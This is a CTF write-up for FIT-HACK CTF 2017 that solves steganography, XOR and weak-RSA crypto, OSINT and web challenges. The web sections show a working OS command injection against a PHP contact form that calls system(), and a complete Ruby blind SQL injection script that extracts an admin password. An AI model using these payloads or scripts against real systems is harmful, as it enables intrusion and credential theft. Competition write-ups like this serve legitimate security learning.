FIT-HACK CTF 2017 - Write-ups

Information#

Version#

By Version Comment
noraj 1.0 Creation

CTF#

  • Name : FIT-HACK CTF 2017
  • Website : ctf.nw.fit.ac.jp
  • Type : Online
  • Format : Jeopardy
  • CTF Time : link

250 - Color - Misc#

Check the color information.

Image.zip

So it's a PNG:

$ file image.png
image.png: PNG image data, 300 x 300, 8-bit colormap, non-interlaced

Our PNG has a color palette:

$ pnginfo image.png
image.png...
  Image Width: 300 Image Length: 300
  Bitdepth (Bits/Sample): 8
  Channels (Samples/Pixel): 1
  Pixel depth (Pixel Depth): 8
  Colour Type (Photometric Interpretation): PALETTED COLOUR (0 colours, 0 transparent)
  Image filter: Single row per byte filter
  Interlacing: No interlacing
  Compression Scheme: Deflate method 8, 32k window
  Resolution: 0, 1342587364 (Unknown value for unit stored)
  FillOrder: msb-to-lsb
  Byte Order: Network (Big Endian)
  Number of text strings: 0 of 0

The PNG seems valid:

$ pngcheck image.png
zlib warning:  different version (expected 1.2.8, using 1.2.11)

OK: image.png (300x300, 8-bit palette+trns, non-interlaced, 90.9%).

Let's verify and see the chuncks:

$ pngchunks image.png
Chunk: Data Length 13 (max 2147483647), Type 1380206665 [IHDR]
  Critical, public, PNG 1.2 compliant, unsafe to copy
  IHDR Width: 300
  IHDR Height: 300
  IHDR Bitdepth: 8
  IHDR Colortype: 3
  IHDR Compression: 0
  IHDR Filter: 0
  IHDR Interlace: 0
  IHDR Compression algorithm is Deflate
  IHDR Filter method is type zero (None, Sub, Up, Average, Paeth)
  IHDR Interlacing is disabled
  Chunk CRC: 1319337543
Chunk: Data Length 8 (max 2147483647), Type 1280598881 [acTL]
  Ancillary, private, PNG 1.2 compliant, unsafe to copy
  ... Unknown chunk type
  Chunk CRC: -1821571854
Chunk: Data Length 57 (max 2147483647), Type 1163152464 [PLTE]
  Critical, public, PNG 1.2 compliant, unsafe to copy
  ... Unknown chunk type
  Chunk CRC: 1193133337
Chunk: Data Length 1 (max 2147483647), Type 1397641844 [tRNS]
  Ancillary, public, PNG 1.2 compliant, unsafe to copy
  ... Unknown chunk type
  Chunk CRC: 1088870502

[...]

The PLTE (palette) chunck seems corrupted (critical). That's maybe why we got PALETTED COLOUR (0 colours, 0 transparent).

A tool can reveal us that our image is an APNG (Animated PNG like GIF) that was created by APNG Assembler 2.9:

Type:    Portable network graphics
Mode:    ColorMap

Checking Meta Data

Size                     : 300x300
Bit Depth                : 8
Color Type               : Color and Palette
Compression Used         : Deflate
Filter Method            : Adaptive Filtering
Interlace Method         : No Interlace
Palettes                 : 19
Software                 : APNG Assembler 2.9

Let's split the chuncks:

$ pngsplit image.png
pngsplit, version 0.60 BETA of 11 February 2007, by Greg Roelofs.
  This software is licensed under the GNU General Public License.
  There is NO warranty.

image.png:

$ ls
image.png            image.png.0004.tRNS  image.png.0009.fcTL  image.png.0014.fdAT  image.png.0019.fcTL  image.png.0024.fdAT  image.png.0029.fcTL  image.png.0034.fdAT  image.png.0039.fcTL
image.png.0000.sig   image.png.0005.fcTL  image.png.0010.fdAT  image.png.0015.fcTL  image.png.0020.fdAT  image.png.0025.fcTL  image.png.0030.fdAT  image.png.0035.fcTL  image.png.0040.fdAT
image.png.0001.IHDR  image.png.0006.IDAT  image.png.0011.fcTL  image.png.0016.fdAT  image.png.0021.fcTL  image.png.0026.fdAT  image.png.0031.fcTL  image.png.0036.fdAT  image.png.0041.tEXt
image.png.0002.acTL  image.png.0007.fcTL  image.png.0012.fdAT  image.png.0017.fcTL  image.png.0022.fdAT  image.png.0027.fcTL  image.png.0032.fdAT  image.png.0037.fcTL  image.png.0042.IEND
image.png.0003.PLTE  image.png.0008.fdAT  image.png.0013.fcTL  image.png.0018.fdAT  image.png.0023.fcTL  image.png.0028.fdAT  image.png.0033.fcTL  image.png.0038.fdAT

Now let's see our strange PLTE chunck:

$ xxd image.png.0003.PLTE
00000000: 0000 0039 504c 5445 1212 1246 4954 4772  ...9PLTE...FITGr
00000010: 615f 4e33 5f50 3062 6c33 6335 5f64 3372  a_N3_P0bl3c5_d3r
00000020: 6675 6c69 355f 696d 6170 6869 726b 5f72  fuli5_imaphirk_r
00000030: 7461 7433 6474 7730 7730 6e7b 416e 7d00  tat3dtw0w0n{An}.
00000040: 0047 1dc5 19                             .G...

$ strings image.png.0003.PLTE
9PLTE
FITGra_N3_P0bl3c5_d3rfuli5_imaphirk_rtat3dtw0w0n{An}

The string looks like the flag but mixed up.

We can get quite the same conclusion with just a strings on the image:

$ strings image.png
IHDR
acTL
9PLTE
FITGra_N3_P0bl3c5_d3rfuli5_imaphirk_rtat3dtw0w0n{An}
tRNS
fcTL
IDATx

[...]

fcTL
fdAT
tEXtSoftware
APNG Assembler 2.9&[
IEND

I read a lot of stuff about steganography methods that sort palette in a different order to hide a text in the image but didn't find how to do it in practice. And our strings (that looks like the flag) is some plain text, it's not hidden in the image. Maybe the palette was the key or something to re-order the flag.

But I just did it by hand and guessed that FITGra_N3_P0bl3c5_d3rfuli5_imaphirk_rtat3dtw0w0n{An} have FIT{} + only 4 uppercase letters APNG. What a coincidence! And we have all the (1337) letters to make Animated Portable Network Graphics. With the letters left I can finnaly write: FIT{Animat3d_P0rtabl3_N3tw0rk_Graphic5_i5_w0nd3rful}.

Note: That's was not the normal way to solve it but guessable flag are too bad!

100 - Simple cipher - Crypto#

I got an encrypted message and a file I used for encryption. However I do not know what to do, so I want you to solve it instead.

enc_text.txt = 0c157e2b7f7b515e075b391f143200080a00050316322b272e0d525017562e73183e3a0d564f6718

And encryption.py looks like:

#!/usr/bin/env python
# -*- coding: utf-8 -*-

mes = "*****secret*****"
key = "J2msBeG8"

# padding with spaces
if len(mes) % len(key) != 0:
    n = len(key) - len(mes) % len(key)
    for i in range(n):
        mes += " "

m = []
for a in range(len(key)):
    i = a
    for b in range(len(mes)/len(key)):
        m.append(ord(mes[i]) ^ ord(key[a]))
        i += len(key)

enc_mes = ""
for j in range(len(m)):
    enc_mes += "%02x" % m[j]

print enc_mes

It's a non linear xoring.

Example: message length is 16, key length is 8 (so 2 key loops).

Normal xoring gives: m[0] ^ k[0], m[1] ^ k[1], m[2] ^ k[2], m[3] ^ k[3], m[4] ^ k[4], m[5] ^ k[5], m[6] ^ k[6], m[7] ^ k[7], m[8] ^ k[0], m[9] ^ k[1], m[10] ^ k[2], m[11] ^ k[3], m[12] ^ k[4], m[13] ^ k[5], m[14] ^ k[6], m[15] ^ k[7]

The modified xoring gives: m[0] ^ k[0], m[8] ^ k[0], m[1] ^ k[1], m[9] ^ k[1], m[2] ^ k[2], m[10] ^ k[2], m[3] ^ k[3], m[11] ^ k[3], m[4] ^ k[4], m[12] ^ k[4], m[5] ^ k[5], m[13] ^ k[5], m[6] ^ k[6], m[14] ^ k[6], m[7] ^ k[7], m[15] ^ k[7]

In our case: message length is 40, key length is 8 (so 5 key loops).

So I wrote the python lines that does exactly the reverse process, we can test with the default message:

#!/usr/bin/env python2
# -*- coding: utf-8 -*-

key = "J2msBeG8"
mes = "*****secret*****"

# padding with spaces
if len(mes) % len(key) != 0:
    n = len(key) - len(mes) % len(key)
    for i in range(n):
        mes += " "

m = []
for a in range(len(key)):
    i = a
    for b in range(len(mes)/len(key)):
        m.append(ord(mes[i]) ^ ord(key[a]))
        i += len(key)

enc_mes = ""
for j in range(len(m)):
    enc_mes += "%02x" % m[j]

print enc_mes

#enc_mes = "0c157e2b7f7b515e075b391f143200080a00050316322b272e0d525017562e73183e3a0d564f6718"

enc_mes_splited = [enc_mes[i:i + 2] for i in range(0, len(enc_mes), 2)]

for j in range(len(enc_mes_splited)):
    enc_mes_splited[j] = int(enc_mes_splited[j], 16)

m = enc_mes_splited
mes = ""

for b in range(len(enc_mes_splited)/len(key)):
    for a in range(len(key)):
        mes += str(chr((m[len(enc_mes_splited)/len(key)*a+b]) ^ ord(key[a])))
print mes

And we find the original message:

$ python2 encryption.py
60381857471959596868164f226d5b12
*****secret*****

So now let's replace enc_mess with the challenge value and we find FIT{Thi5_cryp74n4lysi5_wa5_very_5impl3}.

100 - It's_solvable - Crypto#

Easy?

File

We have multiple public keys, and some encoded texts:

$ ls */
39BCC1930B969051426F5864F24B478CEAFBA7D8/:
mfit  publicfit.pem

59E859397B1AB522AAF698D9D42D5F064FD11381/:
mfit  publicfit.pem

5A6DF720540C20D95D530D3FD6885511223D5D20/:
mfit  publicfit.pem

8090FD368C8382FD4B216C5BAA04C99769DFCC49/:
mfit  publicfit.pem

A1047EAB1035D58682A53557E0B2A75EDBFD15FD/:
mfit  publicfit.pem

C5E31D5915661DE4393E3F1489B00EBC4497DD48/:
mfit  publicfit.pem

C9CF2EF3AD15705851D02C005B381171AF921BD7/:
fit  fitkey.pem

The RSA keys seems very weak (about 150 bit), the modulus is very small:

$ openssl rsa -pubin -inform PEM -text -noout < 39BCC1930B969051426F5864F24B478CEAFBA7D8/publicfit.pem
Public-Key: (153 bit)
Modulus:
    01:87:ff:1f:e5:90:c8:97:83:44:d6:16:72:0c:c1:
    20:a0:ea:71:67
Exponent: 65537 (0x10001)

$ openssl rsa -pubin -inform PEM -text -noout < 59E859397B1AB522AAF698D9D42D5F064FD11381/publicfit.pem
Public-Key: (148 bit)
Modulus:
    0c:12:08:7a:f4:11:24:16:7e:5b:f1:32:5c:04:75:
    ab:d4:17:0f
Exponent: 65537 (0x10001)

$ openssl rsa -pubin -inform PEM -text -noout < 5A6DF720540C20D95D530D3FD6885511223D5D20/publicfit.pem
Public-Key: (150 bit)
Modulus:
    39:c2:a4:61:db:f6:94:84:a2:30:13:80:b3:98:32:
    6d:ee:51:d1
Exponent: 65537 (0x10001)

$ openssl rsa -pubin -inform PEM -text -noout < 8090FD368C8382FD4B216C5BAA04C99769DFCC49/publicfit.pem
Public-Key: (151 bit)
Modulus:
    5d:5e:9f:10:7f:b1:38:59:d2:4c:85:77:3e:a4:ff:
    8b:ef:8e:99
Exponent: 65537 (0x10001)

$ openssl rsa -pubin -inform PEM -text -noout < A1047EAB1035D58682A53557E0B2A75EDBFD15FD/publicfit.pem
Public-Key: (149 bit)
Modulus:
    1a:ac:d3:c9:0d:1a:bd:fd:dd:de:18:35:f5:8a:88:
    f0:36:8b:9f
Exponent: 65537 (0x10001)

$ openssl rsa -pubin -inform PEM -text -noout < C5E31D5915661DE4393E3F1489B00EBC4497DD48/publicfit.pem
Public-Key: (154 bit)
Modulus:
    03:8a:f3:1e:59:8e:24:2b:5f:cf:1b:30:6f:df:f0:
    e2:d6:6e:f2:39
Exponent: 65537 (0x10001)

$ openssl rsa -pubin -inform PEM -text -noout < C9CF2EF3AD15705851D02C005B381171AF921BD7/fitkey.pem    
Public-Key: (151 bit)
Modulus:
    65:7a:90:84:26:10:1a:fa:25:51:cf:ca:26:e3:9a:
    f5:64:53:27
Exponent: 65537 (0x10001)

Another way to show the modulus:

$ openssl rsa -in 39BCC1930B969051426F5864F24B478CEAFBA7D8/publicfit.pem -pubin -modulus -noout
Modulus=187FF1FE590C8978344D616720CC120A0EA7167

$ openssl rsa -in 59E859397B1AB522AAF698D9D42D5F064FD11381/publicfit.pem -pubin -modulus -noout
Modulus=C12087AF41124167E5BF1325C0475ABD4170F

$ openssl rsa -in 5A6DF720540C20D95D530D3FD6885511223D5D20/publicfit.pem -pubin -modulus -noout
Modulus=39C2A461DBF69484A2301380B398326DEE51D1

$ openssl rsa -in 8090FD368C8382FD4B216C5BAA04C99769DFCC49/publicfit.pem -pubin -modulus -noout
Modulus=5D5E9F107FB13859D24C85773EA4FF8BEF8E99

$ openssl rsa -in A1047EAB1035D58682A53557E0B2A75EDBFD15FD/publicfit.pem -pubin -modulus -noout
Modulus=1AACD3C90D1ABDFDDDDE1835F58A88F0368B9F

$ openssl rsa -in C5E31D5915661DE4393E3F1489B00EBC4497DD48/publicfit.pem -pubin -modulus -noout
Modulus=38AF31E598E242B5FCF1B306FDFF0E2D66EF239

$ openssl rsa -in C9CF2EF3AD15705851D02C005B381171AF921BD7/fitkey.pem -pubin -modulus -noout
Modulus=657A908426101AFA2551CFCA26E39AF5645327

We may be able to factorize it.

I made a ruby script that get the public keys, extract the modulus, get the prime factorization from factordb, and then create the private keys from p and q:

require 'openssl'
require 'net/http'

key1 = OpenSSL::PKey::RSA.new File.read '39BCC1930B969051426F5864F24B478CEAFBA7D8/publicfit.pem'
key2 = OpenSSL::PKey::RSA.new File.read '59E859397B1AB522AAF698D9D42D5F064FD11381/publicfit.pem'
key3 = OpenSSL::PKey::RSA.new File.read '5A6DF720540C20D95D530D3FD6885511223D5D20/publicfit.pem'
key4 = OpenSSL::PKey::RSA.new File.read '8090FD368C8382FD4B216C5BAA04C99769DFCC49/publicfit.pem'
key5 = OpenSSL::PKey::RSA.new File.read 'A1047EAB1035D58682A53557E0B2A75EDBFD15FD/publicfit.pem'
key6 = OpenSSL::PKey::RSA.new File.read 'C5E31D5915661DE4393E3F1489B00EBC4497DD48/publicfit.pem'
key7 = OpenSSL::PKey::RSA.new File.read 'C9CF2EF3AD15705851D02C005B381171AF921BD7/fitkey.pem'

keys = [key1, key2, key3, key4, key5, key6, key7]

def ask(key)
    uri = URI('http://factordb.com/index.php')
    params = { :query => key.n.to_s }
    uri.query = URI.encode_www_form(params)
    http = Net::HTTP.new(uri.host, uri.port)
    res = http.get(uri)
    return res.body
end

def get_pq(key)
    n_, p_, q_ = ask(key).match(/<font color="#002099">([0-9]*)<\/font><\/a><sub>&lt;.*&gt;<\/sub> = <a href=".*"><font color="#000000">([0-9]*)<\/font><\/a><sub>&lt;.*&gt;<\/sub> &middot; <a href=".*"><font color="#000000">([0-9]*)<\/font>/).captures
    puts "n: #{n_}"
    puts "p: #{p_}"
    puts "q: #{q_}"
    return p_, q_
end

def write_key_pem(p_,q_,i=0)
    `python2 /home/noraj/CTF/tools/rsatool/rsatool.py -f PEM -o /home/noraj/CTF/FIT-HACK/2017/files/key#{i}.pem -p #{p_} -q #{q_}`
end

keys.each_with_index do |k, i|
    puts "key#{i+1}:"
    p_, q_ = get_pq(k)
    write_key_pem(p_,q_,i+1)
end

Here is the output of my script:

key1:
n: 8741815859436417328701496607875318191936401767
p: 62327402947945346311733
q: 140256379152159036259499
key2:
n: 269179849221158109026551637984026302390474511
p: 14414794469577771744263
q: 18673859678627990887097
key3:
n: 1288098196172411883559600628392142705366290897
p: 35304226904821143403853
q: 36485665006773148185749
key4:
n: 2082211985167937929231221000305276937818836633
p: 35841260054322958986347
q: 58095390117758818595339
key5:
n: 594874755164348689388321012976760936405044127
p: 15907423136267341555433
q: 37396047748808130517319
key6:
n: 20225653762860501316298024024116880883063910969
p: 138769550589434889129983
q: 145749940653049615039943
key7:
n: 2263052140251833682660205913396239536442594087
p: 32133336765473179918313
q: 70426926303011627974799

Now let's decipher flag's fragments:

$ openssl rsautl -decrypt -in mfit -out plaintext -inkey key1.pem; cat plaintext
vc7tJ

$ openssl rsautl -decrypt -in mfit -out plaintext -inkey key2.pem; cat plaintext
ohvwv

$ openssl rsautl -decrypt -in mfit -out plaintext -inkey key3.pem; cat plaintext
FIT{

$ openssl rsautl -decrypt -in mfit -out plaintext -inkey key4.pem; cat plaintext
Zyapo

$ openssl rsautl -decrypt -in mfit -out plaintext -inkey key5.pem; cat plaintext
__dOSA

$ openssl rsautl -decrypt -in mfit -out plaintext -inkey key6.pem; cat plaintext
Ai85Z

$ openssl rsautl -decrypt -in fit -out plaintext -inkey key7.pem; cat plaintext
J1RuW}

Now I need to re-order flag's fragments.

But look! Foldername looks like a hash:

$ hashid 39BCC1930B969051426F5864F24B478CEAFBA7D8
Analyzing '39BCC1930B969051426F5864F24B478CEAFBA7D8'
[+] SHA-1
[+] Double SHA-1
[+] RIPEMD-160
[+] Haval-160
[+] Tiger-160
[+] HAS-160
[+] LinkedIn
[+] Skein-256(160)
[+] Skein-512(160)

So its probably SHA1.

Now I used hashkiller to break them:

39bcc1930b969051426f5864f24b478ceafba7d8 SHA1 : v6
59e859397b1ab522aaf698d9d42d5f064fd11381 SHA1 : v5
5a6df720540c20d95d530d3fd6885511223d5d20 SHA1 : v1
8090fd368c8382fd4b216c5baa04c99769dfcc49 SHA1 : v4
a1047eab1035d58682a53557e0b2a75edbfd15fd SHA1 : v2
c5e31d5915661de4393e3f1489b00ebc4497dd48 SHA1 : v3
c9cf2ef3ad15705851d02c005b381171af921bd7 SHA1 : v7

So in order:

$ cat 5A6DF720540C20D95D530D3FD6885511223D5D20/plaintext
FIT{

$ cat A1047EAB1035D58682A53557E0B2A75EDBFD15FD/plaintext
__dOSA

$ cat C5E31D5915661DE4393E3F1489B00EBC4497DD48/plaintext
Ai85Z

$ cat 8090FD368C8382FD4B216C5BAA04C99769DFCC49/plaintext
Zyapo

$ cat 59E859397B1AB522AAF698D9D42D5F064FD11381/plaintext
ohvwv

$ cat 39BCC1930B969051426F5864F24B478CEAFBA7D8/plaintext
vc7tJ

$ cat C9CF2EF3AD15705851D02C005B381171AF921BD7/plaintext
J1RuW}

So our flag is: FIT{__dOSAAi85ZZyapoohvwvvc7tJJ1RuW}.

But it is incorrect!! What a troll!

Warning big guessing!!! Remove all double letters to get: FIT{__dOSAi85Zyapohvwvc7tJ1RuW}.

150 - Sorry - Web#

Flag is right there.

https://sorry.problem.ctf.nw.fit.ac.jp/

There is a command shell injection the contact form: https://sorry.problem.ctf.nw.fit.ac.jp/form.html

For example sendingg the following payload ls -lA;# resultats into:

total 28
-r-x---r-x 1 root root   0 Apr 11 00:04 damy.txt
-r-x---r-x 1 root root  40 Apr 11 00:04 eng.txt
-r-x---r-x 1 root root 462 Apr 11 00:04 form.html
-r-x---r-x 1 root root 250 Apr 11 00:04 from.css
-r-x---r-x 1 root root   0 Apr 11 00:04 in.css
-r-x---r-x 1 root root 181 Apr 11 00:04 in.php
-r-x---r-x 1 root root   0 Apr 11 00:04 in.pjp
-r-x---r-x 1 root root 170 Apr 11 00:04 index.css
-r-x---r-x 1 root root 811 Apr 11 00:04 index.php
-r-x---r-x 1 root root  58 Apr 11 00:04 jpn.txt
-r-x---r-x 1 root root  58 Apr 11 00:04 jpn.txtls -lA;#:mail@example.com <br>Saved it thank you!!

I'm just curious, cat index.php;# gives:

<?php
$name_i = $_GET['name'];
$ka = ".txt";
$text_file = $name_i.$ka;

$name_j = file_get_contents($text_file);;

echo $name_j;
?>


<!DOCTYPE html>
<html lang="en">

[...]

And cat in.php;# gives:

<?php

$com = $_POST['etc'];
$mail = ':mail@example.com';
$mc = $com.$mail;

function jug($mc){

    echo system($mc);
    echo $mc.' '.'<br>'.'Saved it thank you!!';
}

jug($mc);
?>



cat in.php;#:mail@example.com <br>Saved it thank you!!

Now let's find the flag:

ls -lA /tmp/;#:

total 8
drwxrwxrwt 2 root   root   4096 Apr  9 20:31 .ICE-unix
-rwxr-xr-x 1 root   root     23 Apr 11 00:04 .flag
-rw-r--r-- 1 apache apache    0 Apr 12 07:07 a.php
-rw-r--r-- 1 apache apache    0 Apr 12 07:06 a.php*
-rw-r--r-- 1 apache apache    0 Apr 12 03:21 bee-shell.php
-rw-r--r-- 1 apache apache    0 Apr 12 01:52 lol2.txt
-rw-r--r-- 1 apache apache    0 Apr 12 06:06 shell.php
-rw-r--r-- 1 apache apache    0 Apr 12 06:06 shell.phpls -lA /tmp/;#:mail@example.com <br>Saved it thank you!!

cat /tmp/.flag gives us FIT{fdsa__dasdas_32fa}.

Another method is grep -r 'FIT{' /*# :

/dev/shm/lol.txt:FIT{fdsa__dasdas_32fa}
/dev/shm/lol.txt:FIT{fdsa__dasdas_32fa}
Binary file /proc/17860/task/17860/cmdline matches
Binary file /proc/17860/task/17860/cmdline matchesgrep -r 'FIT{' /*;#:mail@example.com <br>Saved it thank you!!

50 - Be a stalker - Recon#

Twitter account: https://twitter.com/FitHack_CTF

Profile picture:

Flag is FIT{DrPepper}.

100 - Specific - Recon#

This picture was taken from the top of the bridge.

Please specify the name of the bridge in lowercase letters of Roman letters.

Flag format is FIT{[answer]}

photo.zip

I checked exif metadata and there were GPS location:

$ exiftool photo.jpg | grep -i gps
GPS Latitude Ref                : North
GPS Longitude Ref               : East
GPS Time Stamp                  : 00:50:28
GPS Date Stamp                  : 2017:02:19
GPS Date/Time                   : 2017:02:19 00:50:28Z
GPS Latitude                    : 31 deg 49' 25.90" N
GPS Longitude                   : 130 deg 18' 52.86" E
GPS Position                    : 31 deg 49' 25.90" N, 130 deg 18' 52.86" E

So I looked at findlatitudeandlongitude.com the GPS position.

The approximate address is: 36-17 HigashiĹŤshĹŤjichĹŤ, Satsumasendai-shi, Kagoshima-ken 895-0075, Japan from the brigde the picture is taken from.

The bridge is over Sendai River.

I looked at the bridge on different websites, but othing on Google Maps, Bing Map, Yandex Map, OpenStreetMap, HERE, MapQuest, mapy.cz, Wikimapia, GeoHack.

After on geohack I saw there was specialized maps for certain country, so I tried japan only map services: Mapion, MapFan Web, Yahoo! Japan, Goo, Its-mo Guide.

There was the name but in Japan (Kanji) charaters.

During this time, I found the name tentai-bashi bridge on an random website so I tried FIT{tentai-bashi}, FIT{tentai_bashi} and FIT{tentai} and then gave up, thinking that was not the good flag (no spoil now, it was lucky this was a random not famous site).

So I came back to one of the japan specialized map mapfan and others.

I took screenshot of the 3 charaters:

Then I zoomed and tried hand written recognition: http://kanji.sljfaq.org/

That didn't work at all, there a lot of same character that look nearly the same.

Then I thought about OCR.

I tried http://www.i2ocr.com/free-online-japanese-ocr tha tworked badly and gave me only of the 3 chars: 天 and 橋. I found the third with hand written recognition 六.

Google translate to english:

  • 天六橋 -> Heaven Bridge (Tenroku-bashi)

Now we need Roman representation of Kanji, not english translation:

So I tried http://nihongo.j-talk.com/ that gave me:

  • Kanji => RĹŤmaji
    • 天六 -> Ten roku
    • 天六橋 -> Ten roku kyĹŤ
  • Kanji -> Roumaji
    • 天六橋 -> Ten roku kyou

But nothing was the flag.

The 2nd char doesn't looks exactly the same, in fact the good one is 大 not 六.

Thanks to http://maggie.ocrgrid.org/nhocr/ I found the good one.

So we have now 天大橋 in Kanji.

Google translate gave me:

  • 天大橋 -> Heaven Bridge (Tentaibashi)

FIT{tentaibashi} is the good flag. I was soooooo near I tried FIT{tentai-bashi}.

I tried again (with the good 2nd char this time) http://nihongo.j-talk.com/:

  • Kanji -> RĹŤmaji
    • 天大橋 -> Ten ĹŤhashi
  • Kanji -> Roumaji
    • 天大橋 -> Ten oohashi

But the roman translation was not the one I was looking for.

Meanwhile, CTF orga released twohint:

  • Hint 1: Google street view
  • Hint 2: Google translate from picture

Early I tried to find the name of the bridge on Google Street View but didn't found it.

150 - Let's login - Web#

I created a page with a login function, but it seems to be vulnerable.

https://login.problem.ctf.nw.fit.ac.jp

Here is the login page: https://login.problem.ctf.nw.fit.ac.jp/login.php

Using these credentials:

  • pseudo: ' or 1=1 -- -
  • password: a

Gave me the following message:

Password is a flag
Table name: user
Column name: name, pass

Thanks for the help.

Now let's try a different payload ' or 1=1#, That give me a blank page.

So I think this is a blind SQLi where we have the hint message when the request is true and a blank page when false (or auth failure).

Lets write a blind SQL injection script in ruby.

So we want a payload like this ' or 1=1 UNION select name,pass from user-- -.

To get the content we will need some SQLite features (because yes it's an SQLite database):

  • length(str) = to retrieve strings length
  • substr( string, start_position, [ length ] ) and sub-queries to retrieve strings content
' or length((select name from user limit 1)) < 1-- -
' or length((select pass from user limit 1)) < 1-- -

Here is my ruby script:

require 'net/https'
# uri is already require by net/https

uri = URI('https://login.problem.ctf.nw.fit.ac.jp/login.php')

req = Net::HTTP::Post.new(uri.path)
#req.set_form_data('name' => payload, 'pass' => 'vuln')

http = Net::HTTP.new(uri.host, uri.port)
http.use_ssl = true
http.verify_mode = OpenSSL::SSL::VERIFY_NONE
#res = http.request(req)

<<-DOC
Check is the payload expression is true or false.
DOC

def check_expression(uri, http, req, payload)
  req.set_form_data('name' => payload, 'pass' => 'vuln')
  res = http.request(req)
  return /Password is a flag/.match?(res.body)
end

<<-DOC
Get the length of the string.
There is two level of increment: 10 by 10 (to be faster) and then 1 by 1 (to get the exact size).
DOC

def get_length(uri, http, req, payload)
  i = 10
  while true
    if check_expression(uri, http, req, payload % i)
      (i-10..i).each do |j|
        if check_expression(uri, http, req, payload % j)
          #puts "Found length = #{j}"
          return j-1
        end
      end
    end
    i += 10
  end
end

<<-DOC

DOC

def read_string(uri, http, req, length, wanted)
  content = ""
  ascii_printable = (" ".."~").to_a.push("\n")  # (" ".."~") == all printable char == from 0x20 to 0x7e in ASCII Table
  puts "Beginning to retrive content"
  while content.length < length
    ascii_printable.each do |c|
      tmp = content + c
      # SQLite tip: 1st position in a string is 1
      payload = "' or substr((SELECT #{wanted} FROM user LIMIT 1), #{tmp.length}, 1) == \"#{tmp[tmp.length-1]}\"-- -"
      if check_expression(uri, http, req, payload)
        content += c
        puts content
        break
      elsif c == "\n"
          content += "*"  # "*" if no ascii_printable found else we get an infinite loop
      end
    end
  end
  return content
end

payload = "' or length((SELECT name FROM user LIMIT 1)) < %i-- -"
name_length = get_length(uri, http, req, payload)
puts "Name length: #{name_length}"

payload = "' or length((SELECT pass FROM user LIMIT 1)) < %i-- -"
password_length = get_length(uri, http, req, payload)
puts "Password length: #{password_length}"

name = read_string(uri, http, req, name_length, 'name')
puts 'Name: '.concat(name)

password = read_string(uri, http, req, password_length, 'pass')
puts 'Password: '.concat(password)

And here is the result:

$ ruby auth.rb
Name length: 5
Password length: 21
Beginning to retrive content
a
ad
adm
admi
admin
Name: admin
Beginning to retrive content
F
FI
FIT
FIT{
FIT{9
FIT{9n
FIT{9n8
FIT{9n89
FIT{9n89_
FIT{9n89_y
FIT{9n89_y0
FIT{9n89_y0u
FIT{9n89_y0u3
FIT{9n89_y0u3u
FIT{9n89_y0u3u_
FIT{9n89_y0u3u_9
FIT{9n89_y0u3u_9a
FIT{9n89_y0u3u_9a8
FIT{9n89_y0u3u_9a81
FIT{9n89_y0u3u_9a811
FIT{9n89_y0u3u_9a811}
Password: FIT{9n89_y0u3u_9a811}
Share